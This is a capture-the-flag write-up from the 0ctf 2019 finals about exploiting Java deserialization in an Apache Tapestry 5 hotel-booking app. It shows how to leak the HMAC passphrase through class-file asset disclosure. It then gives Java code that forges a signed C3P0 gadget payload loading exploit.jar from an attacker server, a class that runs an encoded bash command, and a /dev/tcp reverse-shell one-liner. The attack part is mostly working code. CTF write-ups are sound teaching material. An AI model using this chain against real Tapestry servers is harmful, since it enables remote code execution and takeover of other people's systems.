# 0ctf 2019 final writeup ## tapestry5-hotel-booking [CVE-2014-1972](https://issues.apache.org/jira/browse/TAP5-2008) is vulnerable to RCE. It vulnerable now although patched. It just add `verify logic` with **HMAC_SHA1**. Commit Log: - https://github.com/apache/tapestry-5/commit/95846b173d83c2eb42db75dae3e7d5e13a633946 It is possible unserialize attack if you can know HMAC_PASSPHRASE. ```java public static void configureTapestryHotelBooking( MappedConfiguration<String, String> configuration) { ... // Generate a random HMAC key for form signing (not cluster safe). // Normally it would be better to use a fixed password-like string, but // we can't because this file is published as open source software. configuration.add(SymbolConstants.HMAC_PASSPHRASE, new BigInteger(130, new SecureRandom()).toString(32)); ... } ``` Apache Tapestry disclose class file. - http://tapestry.apache.org/assets.html#Assets-AssetSecurity So, if you know file tree, then you can leak HMAC_PASSPHRASE. - http://[URI]/assets/app/services/AppModule.class **HMAC_PASSPHRASE** : TOP_SECRET_PASSPHRASE_YOU_WILL_NEVER_KNOW:) When i search data, parameter `t:formdata` is transferred to server as HMAC Data. Therefore change HMAC data, we can execute arbitrary command. Java Code as serialized C3P0: ```java // cat test.java ... // lots of import. ... public class test{ public static void main(String[] args){ String passphrase = "TOP_SECRET_PASSPHRASE_YOU_WILL_NEVER_KNOW:)"; Key hmacKey = new SecretKeySpec(passphrase.getBytes("UTF8"), "HmacSHA1"); Base64OutputStream base64OutputStream = new Base64OutputStream(); MacOutputStream macOutputStream = MacOutputStream.streamFor(hmacKey); final BufferedOutputStream pipeline = new BufferedOutputStream(new GZIPOutputStream( new TeeOutputStream(macOutputStream, base64OutputStream))); OutputStream guard = new OutputStream() { ... }; ObjectOutputStream objectOutputStream = new ObjectOutputStream(guard); objectOutputStream.writeUTF("a"); objectOutputStream.writeBoolean(false); ObjectPayload c3p0 = new C3P0(); objectOutputStream.writeObject(c3p0.getObject("http://[MY_SERVER]/exploit.jar:exploit")); objectOutputStream.close(); System.out.printf(macOutputStream.getResult()+":"+base64OutputStream.toBase64()); } ... } // javac -cp somelibrary1.jar:somlibrary2.jar test.java // java -cp somelibrary1.jar:somlibrary2.jar test blahblah:blahblah~ ``` Java Reverse Shell: ```java= // cat exploit.java public class exploit{ public exploit(){ try{ Runtime.getRuntime().exec("bash -c {echo,[Payload]}|{base64,-d}|{bash,-i}"); }catch(Exception e){ } } } // javac exploit.java // jar -cvf exploit.jar exploit.class ``` [Payload] : bash -i >& /dev/tcp/IP/PORT 0>&1 Change `t:formdata` data as serialized object data to `C3P0`. Last, you can get Shell :). ![](https://i.imgur.com/p6utErv.png)